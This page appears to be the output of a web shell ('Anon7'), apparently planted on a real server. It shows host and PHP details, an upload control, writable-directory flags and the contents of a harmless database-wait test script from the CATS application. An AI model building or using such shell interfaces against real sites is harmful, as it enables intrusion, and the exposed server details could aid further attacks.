KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/irtiweb/CATS/modules/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/irtiweb/CATS/modules/tests/waitForDb.php
<?php
include_once('./config.php');
include_once('./constants.php');
include_once('./lib/DatabaseConnection.php');
$canConnectAndSelectDb = false;
$count = 30;
while (!$canConnectAndSelectDb && $count > 0)
{
    $connection = @mysql_connect(
        DATABASE_HOST, DATABASE_USER, DATABASE_PASS
    );
    if ($connection)
    {
        $isDBSelected = @mysql_select_db(DATABASE_NAME, $connection);
        if ($isDBSelected)
        {
            $canConnectAndSelectDb = true;
        }
    }
    sleep(1);
    --$count;
}
if ($canConnectAndSelectDb) {
    exit(0);
} else {
    echo "Timeout while waiting for the DB and database.\n";
    exit(1);
}
?>

Anon7 - 2021